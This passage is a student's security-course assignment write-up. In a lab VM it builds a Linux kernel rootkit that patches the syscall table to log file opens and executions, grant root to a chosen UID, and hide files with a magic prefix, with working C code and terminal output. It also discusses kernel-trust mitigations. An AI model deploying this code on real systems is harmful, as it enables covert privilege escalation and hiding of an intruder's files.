COMP4108A-F24 Assignment 2

Prepared by Sam Haskins (101138081) and submitted to Prof. David Barrera not after October 8th, 2024.

Part A

Question 3

```
root@COMP4108-a2:~# grep sys_call_table /proc/kallsyms
ffffffffb9a002a0 R x32_sys_call_table
ffffffffb9a013c0 R sys_call_table
ffffffffb9a02400 R ia32_sys_call_table
```

The format of `/proc/kallsyms` is straightforward enough that I can understand it without reading the documentation: the address of `sys_call_table` is `ffffffffb9a013c0` (this is in the "top half" of the address space, as is typical for kernel addresses [this was a performance optimization, though Meltdown threw a proverbial wrench into the gears]). The capital R indicates the symbol is in a read-only data section; this matches the details provided in the assignment spec.

Question 4

I will start by introducing how I will be submitting accompanying code for this question and the remainder of the assignment: as various questions ask me to modify the code in a certain way, I will submit the code after every such question in a directory "`$PARTq$QNUMBER`". So, for example, the code after completing this question is in the directory "`Aq4`".

I updated the code for `get_syscall_table_bf` to read as follows:

```c
/*
 * Locates the address of the system call table using kallsyms_lookup_name
 * and returns it as an unsigned long *
*/
unsigned long * get_syscall_table_bf(void){
  unsigned long *syscall_table;
  syscall_table = (unsigned long*)kallsyms_lookup_name("sys_call_table");
  return syscall_table;
}
```

This code looks up the address of the system call table using its symbol ("`sys_call_table`") so we can modify it to install our hooks. This is necessary as the symbol isn't exported; if it was, there would be no need to look it up in such a roundabout way—I could merely declare it in C as "`extern`".

Question 5

```
root@COMP4108-a2:~/a2/Aq4# make
make -C /lib/modules/5.4.0-171-generic/build M=/root/a2/Aq4 modules
```

```
make[1]: Entering directory '/usr/src/linux-headers-5.4.0-171-generic'
  CC [M]  /root/a2/Aq4/rootkit.o
/root/a2/Aq4/rootkit.c:74:14: warning: ‘magic_prefix’ defined but not used
 ↪  [-Wunused-variable]
   74 | static char* magic_prefix;
      |              ^~~~~~~~~~~~
/root/a2/Aq4/rootkit.c:62:12: warning: ‘root_uid’ defined but not used
 ↪  [-Wunused-variable]
   62 | static int root_uid;
      |            ^~~~~~~~
  Building modules, stage 2.
  MODPOST 1 modules
  CC [M]  /root/a2/Aq4/rootkit.mod.o
  LD [M]  /root/a2/Aq4/rootkit.ko
make[1]: Leaving directory '/usr/src/linux-headers-5.4.0-171-generic'
```

As shown above, I can build the rootkit framework using `make`. This step is important as computers do not natively understand C code, and it must be *compiled* into machine code before it can be executed.

Question 6

```
root@COMP4108-a2:~/a2/Aq4# ./insert.sh
root@COMP4108-a2:~/a2/Aq4# lsmod | grep rootkit
rootkit                16384  0
root@COMP4108-a2:~/a2/Aq4# dmesg | tail -n5
[   44.557863] AES CTR mode by8 optimization enabled
[207915.482462] rootkit: loading out-of-tree module taints kernel.
[207915.482737] rootkit: module verification failed: signature and/or
 ↪  required key missing - tainting kernel
[207915.483598] Rootkit module initializing.
[207915.497136] Rootkit module is loaded!
```

I...

i. ...loaded the rootkit module with `insert.sh`.

ii. ...verified that it was loaded with `lsmod`, which—per its manpage—"[shows] what kernel modules are currently loaded".

iii. ...further verified that it loaded correctly by inspecting the most recent kernel log entries, as printed by `dmesg`.

Question 7

```
root@COMP4108-a2:~/a2/Aq4# ./eject.sh
```

```
root@COMP4108-a2:~/a2/Aq4# lsmod | grep rootkit
root@COMP4108-a2:~/a2/Aq4# dmesg | tail -n5
[207915.482737] rootkit: module verification failed: signature and/or
 ↪  required key missing - tainting kernel
[207915.483598] Rootkit module initializing.
[207915.497136] Rootkit module is loaded!
[208216.192606] Rootkit module is unloaded!
[208216.192610] Rootkit module cleanup copmlete.
```

I unloaded the rootkit module with `eject.sh` and verified that it unloaded successfully using methods analogous to the previous question. Note that the empty output of `lsmod | grep rootkit` indicates that it is no longer loaded.

Question 8

I'll start by explaining what the code I added/modified does, before including relevant portions of it for you to read. You can of course find the complete code in the `Aq8` directory in the submitted archive file.

To install the hook, I:

1. Save (a pointer to) the original syscall handler to a variable. This is required both to unload my hook later and so my hook can maintain the original functionality of the syscall.
2. "Unprotect" memory, by calling `unprotect_memory`. This allows ring-0—that is, kernel mode—code to write to read-only pages (!!!) by flipping a bit in the processor's `cr0` control register, and is required[1] to write to the system call table (as it's in a read-only page). You definitely can't do this from usermode!
3. Replaces the syscall handler address for `openat` (indexed by `__NR_openat`; `sys_call_table` is an array of pointers to syscall handler functions) with our hook function. Our function will now be called instead of the real handler for `openat` syscalls.
4. "Protect" memory, by calling `protect_memory`, which works analogously to `unprotect_memory`—just in reverse.

To remove the hook, I unprotect memory, restore the `openat` syscall to the saved pointer, and protect memory.

After my modifications, the initialization and cleanup functions look as follows:

```c
static int __init init_rootkit(void)
{
  printk(KERN_INFO "Rootkit module initializing.\n");

  __sys_call_table = get_syscall_table_bf(); // Get the sys_call_table
   ↪  information
```

[1] Technically not *required*: as we're in the kernel, we also the have the option of updating the page table to mark the page writable. Flipping a bit in `cr0` is certainly much less of a hassle, though!

```
  if (!__sys_call_table)
    return -1;

  cr0 = read_cr0();

  /*
   * TODO: NEEDED FOR PART A, B, AND C
   * Store the original functions before they are hooked. You will
   * need to add lines for the execve and getdents functions.
   */

  // Let's store the original functions so they can be restored later
  original_openat = (t_syscall)__sys_call_table[__NR_openat];

  unprotect_memory();

  __sys_call_table[__NR_openat] = (unsigned long) new_openat;

  /*
   * TODO: NEEDED FOR PARTS B AND C
   *  Hook your new execve and getdents functions after writing them
   */

  // Let's hook execve() for privilege excalation
  // Let's hook getdents() to hide our files

  protect_memory();

  printk(KERN_INFO "Rootkit module is loaded!\n");
  return 0; // For successful load
}

static void __exit cleanup_rootkit(void){
  printk(KERN_INFO "Rootkit module is unloaded!\n");

  unprotect_memory();

  __sys_call_table[__NR_openat] = (unsigned long)original_openat;

  /*
   * TODO: NEEDED FOR PARTS B AND C
   *  Unhook and restore the execve and getdents functions
   */
```

```
    // Let's unhook and restore the original execve() function
    // Let's unhook and restore the original getdents() function
    protect_memory();

    printk(KERN_INFO "Rootkit module cleanup copmlete.\n");
}
```

I can see from inspecting the `rootkit.c` and `insert.sh` code that the `openat` hook will log syscalls that open a `.txt` file. With this in mind, I will test that my rootkit works as intended by opening a `.txt` file after loading it:

```
root@COMP4108-a2:~/a2/Aq8# ./insert.sh
root@COMP4108-a2:~/a2/Aq8# touch foo.txt
root@COMP4108-a2:~/a2/Aq8# dmesg | tail -n5
[208216.192606] Rootkit module is unloaded!
[208216.192610] Rootkit module cleanup copmlete.
[210519.316884] Rootkit module initializing.
[210519.330887] Rootkit module is loaded!
[210524.198706] openat() called for foo.txt
```

From the above kernel log trace, we can see that the rootkit works as intended (at least for this stage of the assignment).

Question 9

Rootkits are the natural consequence of the ability to load untrusted code into kernel mode—a mode in which *no*[2] enforceable security boundaries exist. Can we apply our security principles to mitigate this? I think yes.

1. We can apply P17 TRUST-ANCHOR-JUSTIFICATION to avoid loading *untrusted* code into kernel mode. This principle discusses justifying trust in code before allowing (extended) access, and specifically calls out initialization and software installation as "chokepoints" at which it may be applied. One way you could verify trust of a kernel module is by requiring that it be digitally signed with a key belonging to or otherwise trusted by the operating system vendor—Microsoft has adopted this approach in newer versions of Windows, with admittedly mixed results (backwards compatibility is a problem here—breaking old device drivers is equivalent to breaking old hardware, and users don't like that[3]).

   As long as the operating system vendor won't sign, or otherwise transitively trust, a rootkit, this mitigates the problem.

2. We can apply P8 SMALL-TRUSTED-BASES to remove the necessity, and then the ability, for code to be loaded into the kernel at all. This principle encourages small code size and minimal functionality in components that are extremely security critical—this case, the

[2] Yes, yes, I know, hypervisors are a thing...but let's not overcomplicate our discussion here. There's plenty of machines with extremely sensitive data that don't have a hypervisor running, so improving the security of designs involving kernel mode is valuable.

[3] See P11 USER-BUY-IN.

kernel. Why do we need to allow loading code into the kernel at all? To talk to devices[4]. Is that the only possible architecture? Could we perhaps envision a very small kernel with minimal functionality beyond process isolation and context switching, where device drivers are in their own, isolated, processes with the only additional privilege being "talk to this one device"? Food for thought.

(Note: as applied to the kernel, this is P8 SMALL-TRUSTED-BASES. As applied to the hypothetical unprivileged device driver processes, this is P6 LEAST-PRIVILEGE.)

Note that rootkits may still hook whatever extension points still exist in this modified architecture, e.g., hide data by pretending to be a disk driver. This architecture will at least limit the "blast radius" of rootkits, and opens opportunities for more user interaction around extension module loading that would be too burdensome right now (e.g., it may be possible to have an interactive confirmation dialog for "would you like to load this disk driver?" because that happens a lot less often than loading, e.g., a new gamepad driver).

Part B

Question 1

Based on the existing `openat` hook, I wrote an `execve` hook that prints the binary being executed and the effective UID of the executing user to the kernel log. I'll walk you through the changes I made to the rootkit to accomplish this and, at the end, show it in action.

First, I added

```
#ifndef __NR_execve
#define __NR_execve 11
#endif
```

which defines the syscall number for `execve` if it's not already defined. This is the index in the `sys_call_table` that has the pointer to `execve`'s real handler, which we will replace with our hook. I got this number from the `unistd_64.h` header linked in the assignment spec. (In practice, I could've just included that/a header that provided the `#define`, but the spec suggests I'm supposed to do it like this.)

Then, I created a variable to hold a pointer to the original `execve` function:

```
static t_syscall original_execve; // create a variable to store the
 ↪  original execve function
```

This is required both to maintain the functionality of the original syscall and to uninstall our hook later. `t_syscall` here is a typedef that represents the type of a syscall handler function; it was defined for me in the starter code.

Then, I added

[4]This is, of course, a simplification—there's other reasons we need to load code into the kernel, in current widely deployed architectures—but it is the most common justification and my point is more to orient our thinking towards architectures in which code doesn't need to be loaded into the kernel at all.

```
original_execve = (t_syscall)__sys_call_table[__NR_execve];
```

to the initialization routine ("`init_rootkit`") before the `unprotect_memory` call and

```
// Let's hook execve() for privilege escalation
__sys_call_table[__NR_execve] = (unsigned long) new_execve;
```

after the `unprotect_memory` call. The first of these lines stores the address of the original `execve` handler so we can use it later and the second replaces the `execve` handler with our, ah, *enhanced alternative* (which I haven't shown yet).

To let me eject/unload my rootkit and return the system to its original state, I added the following to the `cleanup_rootkit` method:

```
__sys_call_table[__NR_execve] = (unsigned long)original_execve;
```

All of the code presented thus far is related to installing and uninstalling the hook correctly. I will now present the hook itself:

```
asmlinkage int new_execve(const struct pt_regs* regs){
  // Declare our return value and a variable to store the filename
  long ret;
  char *filename;

  // Get the filename the syscall was called for
  filename = kmalloc(4096, GFP_KERNEL); // allocate kernel memory

  /*
   * Copy the filename into the kernel variable.
   * The signature for execve is execve(filename, argv, envp),
   * we are interested in filename, the first parameter,
   * which will be passed in rdi.
   */
  if (strncpy_from_user(filename, (void*) regs->di, 4096) < 0){
    kfree(filename);
    return 0;
  }

  // Print the file being executed
  printk(KERN_INFO "Executing %s\n", filename);

  // Clean up the memory we allocated
  kfree(filename);

  // Print the effective UID of the user executing the file
  printk(KERN_INFO "Effective UID %u\n", current_euid().val);

  // Invoke the original execve syscall
```

```
  ret = original_execve(regs);

  return ret;
}
```

The `asmlinkage` macro expands to instructions for GCC that indicate that all of `new_execve`'s arguments are stored on the stack[5]—this is typical for syscall handlers and also helps assembly code call this function. The `regs` parameter is a pointer to where Linux has stored the user-mode program's registers for later restoration—it follows that this contains the arguments to the syscall. I found this information in man pages, as well as this helpful online resource.

With all that in mind, let's go through what the replacement `execve` does:

1. Prints the filename of the program being executed to the kernel log:
   (a) Allocates a buffer in kernel memory to store the filename.
   (b) Copies the filename (a null-terminated string) from userspace with `strncpy_from_user`. As it is the first argument to `execve`, I know from the `syscall` man page it will be stored in the `rdi` register, here accessed as `regs->di`. We must copy the filename from userspace as we cannot directly work with userspace memory (at least, not without more horrifying hacks). There's some boilerplate error handling here as well.
   (c) Prints the filename to the kernel log, formatted as specified (exemplified? 😄) in the question specification. `printk` is similar to `printf`, but it prints to the kernel log. `KERN_INFO` is a severity level ("informational").
   (d) Frees the buffer. This allows the memory to be re-used later (potentially by another part of the kernel).
2. Prints the effective UID of the "user" (really, the process) that executed the program (or is about to, at least—as I haven't called the real `execve` handler yet). This value is retrieved using the `current_euid()` macro, which retrieves it from the current task's credentials structure in a thread-safe way.
3. Calls the real `execve` handler, maintaining system functionality. This is required as otherwise executing binaries would break and I would have to forcibly reboot my virtual machine. I store the return value from the real `execve` handler in a variable called `ret`.
4. Returns `ret`. Once again, I want to maintain the original behavior except for when I explicitly want to deviate from it.

I will now demonstrate this new rootkit functionality in action:

```
root@COMP4108-a2:~/a2/Bq1# ./insert.sh
root@COMP4108-a2:~/a2/Bq1# sudo -u student sh -c 'dmesg | tail -n10'
[219517.629890] Rootkit module initializing.
[219517.645290] Rootkit module is loaded!
```

[5] In the default SysV x64 ABI, some arguments may be passed in registers instead as a performance optimization.

```
[219535.430908] Executing /usr/bin/sudo
[219535.430915] Effective UID 0
[219535.450351] Executing /bin/sh
[219535.450355] Effective UID 1001
[219535.453070] Executing /bin/dmesg
[219535.453073] Effective UID 1001
[219535.453603] Executing /usr/bin/tail
[219535.453605] Effective UID 1001
root@COMP4108-a2:~/a2/Bq1#
```

As you can see, the path and effective UID of programs executed are printed to the kernel log.

Question 2

I will start by explaining the changes made to the rootkit code to add this functionality, then demonstrate it as specified.

First, I added the `root_uid` module parameter. Module parameters are a way for userspace to pass data, typically configuration parameters, to a kernel module. We don't want to hardcode my (`student`)'s UID in the rootkit, as we may want to re-use it later in a different context, so we use this mechanism to pass the UID from usermode. The kernel module will be implemented to give any process executed with `effective_uid == root_uid` root privileges by setting its effective and real UIDs to 0[6]. I add the following to `rootkit.c` to set up the module parameter:

```
/*
 * When a user with an effective UID = root_uid runs a command via
 ↪  execve()
 * we make our hook grant them root priv. root_uid's value is provided as
 ↪  a
 * kernel module argument.
 */
static unsigned int root_uid;
module_param(root_uid, uint, 0);
MODULE_PARM_DESC(root_uid, "The user to esclate the privileges of.");
```

The first argument to the `module_param` macro is the variable in which to store the module parameter, the second argument is the type, and the third is the desired permissions for the `sysfs` file controlling this parameter (which is not required for our use case). I chose `uint`, or `unsigned int`, as UIDs cannot be negative.

I updated `insert.sh` to pass the new `root_uid` parameter, which I set to my (`student`'s) UID—1001 (found with the `id` command):

```
#!/bin/bash
```

[6]Setting the effective UID to 0 is sufficient to give a process root privileges, but the specification said "uid/euid 0 (i.e. root privs)", so I set the real UID as well.

```
# Specify the extension suffix for the openat hook code
SUFFIX=.txt

# Specify the user that we want to make root, by ID
ROOT_UID=1001

#Insert the rootkit module, providing some parameters
insmod rootkit.ko suffix=$SUFFIX root_uid=$ROOT_UID
```

I then modified my replacement execve, new_execve, to appear as follows (explanation will follow):

```
asmlinkage int new_execve(const struct pt_regs* regs){
  // Declare the variables we will need
  long ret;
  uid_t orig_euid;
  struct cred *new_creds;
  char *filename;

  // Get the filename the syscall was called for
  filename = kmalloc(4096, GFP_KERNEL); // allocate kernel memory

  /*
   * Copy the filename into the kernel variable.
   * The signature for execve is execve(filename, argv, envp),
   * we are interested in filename, the first parameter,
   * which will be passed in rdi.
   */
  if (strncpy_from_user(filename, (void*) regs->di, 4096) < 0){
    kfree(filename);
    return 0;
  }

  // Print the file being executed
  printk(KERN_INFO "Executing %s\n", filename);

  // Clean up the memory we allocated
  kfree(filename);

  // Get and rint the effective UID of the user executing the file
  orig_euid = current_euid().val;
  printk(KERN_INFO "Effective UID %u\n", orig_euid);

  // If orig_euid == root_uid, escalate privileges
  if (orig_euid == root_uid){
    printk(KERN_INFO "Adjusting privileges...");
```

```
    // Make a copy of the task's credentials for editing
    new_creds = prepare_creds();

    // Grant superuser privileges
    new_creds->euid.val = 0;
    new_creds->uid.val = 0;

    // Commit our change
    commit_creds(new_creds);
  }

  // Invoke the original execve syscall
  ret = original_execve(regs);

  return ret;
}
```

I will only explain the part I added since the version shown in the previous question; all explanation present in the previous question is hereby incorporated by reference. This code:

1. Checks to see if the effective UID of the process issuing the `execve` system call is equal to the `root_uid` variable (the user we want to escalate the privileges of). This step is required because we only want to escalate the privileges of one user, not every user.
2. If so, changes the effective and real UIDs of the process to 0 (`root`), as follows:
   (a) Makes a copy of the task's credentials (a "`struct cred`") for editing. This is done using the `prepare_creds` function, and is required as credentials are logically immutable in Linux. In practice, we *could* break the rules and edit them inplace…but we've already broken enough rules as-is and this way is probably more stable.
   (b) Changes the effective and real UID values in the new credentials to 0 (granting superuser privileges).
   (c) Commits our changes using the `commit_creds` function. At this point, the process's effective and real UIDs are 0; this will be inherited after the *real* `execve` completes below[7].

I will now demonstrate that my modified rootkit works as desired in the way specified by the question. First, from a normal user terminal:

```
student@COMP4108-a2:~/a2/Bq2$ make
make -C /lib/modules/5.4.0-171-generic/build M=/home/student/a2/Bq2 modules
make[1]: Entering directory '/usr/src/linux-headers-5.4.0-171-generic'
```

[7] Unless the binary being executed has the setuid bit set. The specification does not indicate how I am to handle this case, but if I am supposed to force the privileges to be root in this case, I'd just have to move the UID-changing code *after* the call to the real `execve`. This only makes a difference for the *single* binary on the system that has the setuid bit set, but is *not* owned by root: `/usr/bin/at`.

```
  CC [M]  /home/student/a2/Bq2/rootkit.o
/home/student/a2/Bq2/rootkit.c:77:14: warning: ‘magic_prefix’ defined but
 ↪  not used [-Wunused-variable]
   77 | static char* magic_prefix;
      |              ^~~~~~~~~~~~
  Building modules, stage 2.
  MODPOST 1 modules
  CC [M]  /home/student/a2/Bq2/rootkit.mod.o
  LD [M]  /home/student/a2/Bq2/rootkit.ko
make[1]: Leaving directory '/usr/src/linux-headers-5.4.0-171-generic'
student@COMP4108-a2:~/a2/Bq2$ whoami
student
```

Then, from a root user's terminal (I would've much preferred to just use `sudo` here, but the specification was *oddly specific* about using two terminals 😕):

```
root@COMP4108-a2:/home/student/a2/Bq2# ./insert.sh
```

And, finally, once again from a normal user terminal:

```
student@COMP4108-a2:~/a2/Bq2$ whoami
root
student@COMP4108-a2:~/a2/Bq2$ dmesg | tail -n9
[224585.868085] Executing /usr/bin/whoami
[224585.868088] Effective UID 1001
[224585.868089] Adjusting privileges...
[224586.943900] Executing /bin/dmesg
[224586.943903] Effective UID 1001
[224586.943904] Adjusting privileges...
[224586.948125] Executing /usr/bin/tail
[224586.948127] Effective UID 1001
[224586.948128] Adjusting privileges...
```

As you can see, the module:

1. Builds successfully.
2. Loads into the kernel successfully.
3. Once in the kernel, successfully hooks the `execve` system call to escalate `student`'s privileges.

Writing this rootkit was quite fun! On to the next...

Part C

Question 1

Once again, I will structure my answer by first describing and explaining the code changes I made to add the new rootkit functionality, then show it in action.

First, I add all the standard boilerplate for adding a new hook, including saving a pointer to the original system call handler so I can use/restore it later:

1. I add the correct system call number from `unistd_64.h`:

   ```
   #ifndef __NR_getdents64
   #define __NR_getdents64 248
   #endif
   ```

2. I add a variable to store the pointer to the real system call handler:

   ```
   static t_syscall original_getdents64; // create a variable to store
    ↪  the original getdents64 function
   ```

3. In `init_rootkit`, I add code to save the original real system call handler

   ```
   original_getdents64 = (t_syscall)__sys_call_table[__NR_getdents64];
   ```

   and install our hook

   ```
   __sys_call_table[__NR_getdents64] = (unsigned long) new_getdents64;
   ```

4. In `cleanup_rootkit`, I add code to remove our hook and restore original system functionality:

   ```
   __sys_call_table[__NR_getdents64] = (unsigned
    ↪  long)original_getdents64;
   ```

This isn't the first time we've seen the hooking boilerplate, and I've already explained what each part does and why it's necessary at length above. So, to save me some typing, I'll say the magic words: *all explanations above are hereby incorporated by reference.*

I'll show you my actual hook shortly, but first I want to bring up a departure I made from the specification: the specification indicates `getdents64` fills a userspace buffer with `linux_dirents`, but this is in fact incorrect. It fills it with `linux_dirent64`s, the layout of which is slightly different:

```
struct linux_dirent64 {
  u64             d_ino;
  s64             d_off;
  unsigned short  d_reclen;
  unsigned char   d_type;
  char            d_name[0];
};
```

I determined this by investigating observed behaviour; I originally coded my solution with the provided `linux_dirent` prototype, then investigated why I kept getting an unprintable byte at the beginning of every directory entry's name. Turns out I was using the wrong structure[8]! I believe the `linux_dirent` struct referenced by the assignment spec is used by `getdents` (no

[8]The layout mismatch meant I was interpreting what was actually the `d_type` field as the first byte of the `d_name`.

64), or something along those lines (I get the sense that this assignment was originally written before 64-bit computing was super common and has been re-used ever since 😛). In any case, on my VM, right now in 2024, `getdents64` definitely uses the `linux_dirent64` struct, and my hook code is written to use that. I didn't define it inline, however; I included it from `linux/dirent.h`.

On to the hook code (explanation will follow):

```
asmlinkage int new_getdents64(const struct pt_regs* regs){
  // Declare the variables we will need
  long ret;
  long orig_len;
  void* dirp;
  void* it;

  // Run the original getdents64; we will inspect (and eventually modify)
   ↪  its result
  ret = original_getdents64(regs);

  // Perform no further actions if the call failed or end-of-directory was
   ↪  reached
  if (ret <= 0)
    return ret;

  // At this point, we know the return value is the number of bytes
   ↪  written
  orig_len = ret;

  /*
   * We will start by copying the userspace buffer the real syscall filled
    ↪  to kernel
   * mode for manipulation. First, we allocate a buffer of the right size.
    ↪  The return
   * value of getdents64() is the number of bytes written, so we will use
    ↪  that.
   */
  dirp = kmalloc(ret, GFP_KERNEL);

  /*
   * The signature for getdents64 is getdents64(fd, dirp, count).
   * dirp is the userspace buffer that was filled with directory entries.
   * It is the second parameter, so it was passed in rsi.
   */
  if (copy_from_user(dirp, (void*) regs->si, orig_len) < 0){
    kfree(dirp);
    return ret;
  }
```

```
#define ent ((struct linux_dirent64*) it)
  printk(KERN_INFO "getdents64() hook invoked.\n");
  for (it = dirp; it < dirp + orig_len; it += ent->d_reclen) {
    printk(KERN_INFO "entry: %s\n", ent->d_name);
  }
#undef ent

  // Release the kernel-mode memory we allocated
  kfree(dirp);

  return ret;
}
```

Let's walk through what this does & why, step by step:

1. I start by calling the real `getdents64` handler, using the pointer I saved in `init_rootkit`. In previous hooks, I called the original handler *after* my hook was complete, but the intention of this hook is to inspect and modify the result of the real call—it follows naturally that this result must be generated before I can proceed with the rest of the hook's logic.
2. I check the return code of the real handler; if it's 0, indicating end-of-directory, or negative, indicating an error has occurred, I bail out early, returning the original code. In this case, the real `getdents64` will not have generated a meaningful result for me to inspect. I determined the meaning of `getdents64` return codes by consulting its man page.
3. I'm now going to copy the result buffer—a sequence of `linux_dirent64` structures—into kernel memory so I can inspect and manipulate it:
   (a) From the man page, I've determined that a positive return code from the real `getdents64` indicates the combined length of the `linux_dirent64` structures that were written to usermode.
   (b) I allocate a kernel-mode buffer of this length using `kmalloc`.
   (c) I copy the `linux_dirent64` structures that the real `getdents64` wrote to the user-mode buffer to kernel memory using `copy_from_user`; as the address of this buffer is the second argument to the syscall, I know from `man syscall` it was passed in `rsi`. I pass the return value from the real `getdents64` as the length/number of bytes to copy (as described above).
4. I print "getdents64() hook invoked." to the kernel log, in order to match the output shown in the specification.
5. Time to iterate over the `linux_dirent64`s. As described in the specification, these are variable-length structs (due to the variable-length name); the length of each struct is contained in its `d_reclen` field. So, to advance to the next struct, I want to advance the pointer by `d_reclen` bytes.

   Unfortunately, if I declare the pointer as a `struct linux_dirent64*` and add *n* to it,

it will in fact advance $n \times$ `sizeof(struct linux_dirent64)` bytes due to C pointer arithmetic rules. To avoid this, I declare it as a `void*`; adding n to such a pointer will advance n bytes, as I intend.

From that arises a new problem: I want to be able to access fields (such as `d_reclen`!) by name, which requires that the pointer be of type `struct linux_dirent64*`! If only I could have a single pointer that's treated as two different types, depending on which was convenient for me at any given moment… Turns out, that's not super hard to emulate in C: I `#define ent` as an expression that casts my `void*` variable to a `struct linux_dirent64*`, allowing me to access fields by name. (Inline casts would work too, but the `#define` saves me some typing & looks neater.)

With my pointers in tow, I write a straightforward for-loop, and for each directory entry I:

(a) Print it to the kernel log in the format indicated by the spec.

(b) (More functionality will be added here in the next part.)

6. Finally, I free the kernel buffer I allocated and return. I did not modify the user-mode buffer filled by the real `getdents64` handler, so I return the original length.

Now for a demonstration! After inserting the rootkit…

```
root@COMP4108-a2:~/a2/Cq1# ./insert.sh
root@COMP4108-a2:~/a2/Cq1# ls
eject.sh  insert.sh  Makefile  modules.order  Module.symvers  rootkit.c
 ↪  rootkit.ko  rootkit.mod  rootkit.mod.c  rootkit.mod.o  rootkit.o
root@COMP4108-a2:~/a2/Cq1# dmesg | tail -n22
[812151.950457] getdents64() hook invoked.
[812151.950460] entry: rootkit.o
[812151.950463] entry: .rootkit.mod.o.cmd
[812151.950465] entry: ..
[812151.950468] entry: insert.sh
[812151.950470] entry: rootkit.c
[812151.950472] entry: rootkit.mod.c
[812151.950475] entry: rootkit.ko
[812151.950478] entry: .rootkit.ko.cmd
[812151.950480] entry: Makefile
[812151.950483] entry: modules.order
[812151.950485] entry: rootkit.mod.o
[812151.950488] entry: .rootkit.o.cmd
[812151.950490] entry: eject.sh
[812151.950492] entry: .
[812151.950495] entry: .rootkit.mod.cmd
[812151.950497] entry: Module.symvers
[812151.950500] entry: rootkit.mod
[812156.900256] Executing /usr/bin/tail
[812156.900261] Effective UID 0
```

```
[812156.900786] Executing /bin/dmesg
[812156.900790] Effective UID 0
```

...the names of all directory entries returned by a call to `getdents64` are printed to the kernel log. Works like a charm!

Question 2

Here I modify my rootkit to hide directory entries with names that start with a certain "magic prefix", passed in as a module parameter. I will first describe and explain the code changes I made, then show my rootkit in action in the manner detailed by the specification.

First, I set up `magic_prefix` as a module parameter:

```
static char* magic_prefix;
module_param(magic_prefix, charp, 0);
MODULE_PARM_DESC(magic_prefix, "Directory entries starting with this prefix
 ↪  will be hidden.");
```

This follows exactly the same process as for the `root_uid` parameter back in Part B, so the explanation for that is hereby incorporated by reference, except that I use the "`charp`" (i.e., char pointer, i.e., string) type in `module_param` rather than `uint`, as I want string data. When the rootkit is loaded, any directory entry with a name starting with the `magic_prefix` will be suppressed and not shown to user mode in directory listings.

I also set up `insert.sh` to pass `$sys$` as the new `magic_prefix` parameter:

```
#!/bin/bash

# Specify the extension suffix for the openat hook code
SUFFIX=.txt

# Specify the user that we want to make root, by ID
ROOT_UID=1001

# Specify the 'magic prefix' we use to hide directory entries
MAGIC_PREFIX='$sys$'

#Insert the rootkit module, providing some parameters
insmod rootkit.ko suffix=$SUFFIX root_uid=$ROOT_UID
 ↪  magic_prefix=$MAGIC_PREFIX
```

Note that I wrap `$sys$` in single quotes (so: it becomes `'$sys$'`) to escape[9] the dollar signs; I think this looks a bit cleaner than backslashes.

Then, I modify my hook to read as follows (as always, explanation will follow):

[9] More accurately, to stop bash from interpreting.

```
asmlinkage int new_getdents64(const struct pt_regs* regs){
  // Declare the variables we will need
  long ret;
  long orig_len;
  long new_len;
  void* dirp;
  void* it;
  void* new_dirp;
  size_t prefix_len;
  size_t entry_name_len;

  // Run the original getdents64; we will inspect and modify its result
  ret = original_getdents64(regs);

  /*
   * Perform no further actions if the call failed or end-of-directory was
    ↪  reached.
   * Note that, if no data was returned, there's no data we need to
    ↪  sanitize.
   */
  if (ret <= 0)
    return ret;

  // At this point, we know the return value is the number of bytes
   ↪  written
  orig_len = ret;

  /*
   * We will start by copying the userspace buffer the real syscall filled
    ↪  to kernel
   * mode for manipulation. First, we allocate a buffer of the right size.
    ↪  The return
   * value of getdents64() is the number of bytes written, so we will use
    ↪  that.
   */
  dirp = kmalloc(orig_len, GFP_KERNEL);

  /*
   * The signature for getdents64 is getdents64(fd, dirp, count).
   * dirp is the userspace buffer that was filled with directory entries.
   * It is the second parameter, so it was passed in rsi.
   */
  if (copy_from_user(dirp, (void*) regs->si, orig_len) < 0){
    kfree(dirp);
    return ret;
```

```
  }

  /*
   * Allocate a buffer to store the "sanitized" sequence of directory
   * entries (i.e., those that don't start with the magic prefix). We
   * will build this as we iterate over the full sequence of directory
   * entries. It will be /at most/ as long as the original buffer, as
   * we do not add (or modify) any entries. It starts with 0 entries.
   */
  new_dirp = kmalloc(orig_len, GFP_KERNEL);
  new_len = 0;

  // Calculate the length of the magic prefix
  prefix_len = strlen(magic_prefix);

#define ent ((struct linux_dirent64*) it)
  printk(KERN_INFO "getdents64() hook invoked.\n");
  for (it = dirp; it < dirp + orig_len; it += ent->d_reclen) {
    printk(KERN_INFO "entry: %s\n", ent->d_name);

    // Test if the entry's name starts with the magic_prefix
    entry_name_len = strlen(ent->d_name);
    if (entry_name_len >= prefix_len && memcmp(magic_prefix, ent->d_name,
     ↪  prefix_len) == 0)
      (void) 0; // do nothing
    // Only if it does not, add it to our sanitized buffer
    else {
      memcpy(new_dirp + new_len, it, ent->d_reclen);
      new_len += ent->d_reclen;
    }
  }
#undef ent

  // Return our sanitized buffer to user-mode instead (with the magic
   ↪  entries already removed)
  copy_to_user((void*) regs->si, new_dirp, new_len);

  // Zero out any data returned by the original getdents64 that we did not
   ↪  just overwrite
  if (orig_len > new_len)
    clear_user((void*) (regs->si + new_len), orig_len - new_len);

  // Release the kernel-mode memory we allocated
  kfree(dirp);
  kfree(new_dirp);
```

```
  // Return the new length
  return new_len;
}
```

Coming off Question 1, I already had code that iterated over the `linux_dirent64` buffer; I'm only going to explain the new parts related to sanitizing the buffer passed back to userspace here. All previous explanation is hereby incorporated by reference. The new code:

1. Only acts when the original `getdents64` handler returns a positive value. In the other cases—indicating "no more data" or an error—the original handler did not fill in a buffer I need to modify, and I return the value unchanged.
2. Allocates a second buffer in kernel memory in which I will put "approved" directory entries. I chose not to edit the existing kernel buffer inplace; I will expound on my reasoning for this later in this document. As I am neither adding nor resizing[10] directory entries (just removing some of them), my sanitized buffer will be at most as large as the original buffer, so I allocate that much space.
3. I also create an integer variable storing how many bytes of directory entries I've written into my buffer thus far; it starts at zero. This will be needed for bookkeeping, and also to send back to user-mode at the end as the syscall's return value.
4. I calculate (using `strlen`) and store `magic_prefix`'s length, as I'll need it later. Best to do this once and save the result, as `strlen` is $O(n)$...
5. While iterating over the directory entries, I:
   (a) Test to see if their name begins with the magic prefix. For this check to pass, the name must both:
      i. Be at least as long as the magic prefix (tested with `entry_name_len >= prefix_len`). It is important to do this check before the `memcmp` check described below, as otherwise `memcmp` may read past the end of the buffer, which is undefined behaviour.
         - On the other hand, upon further reflection, an implementation of `memcmp` that compares byte-by-byte and bails early *would* be guaranteed not to read past the end of the buffer (as it would return immediately after hitting an early null byte)... I don't believe the C standard guarantees this behaviour, though, and at least some implementations of `memcmp` are vectorized.

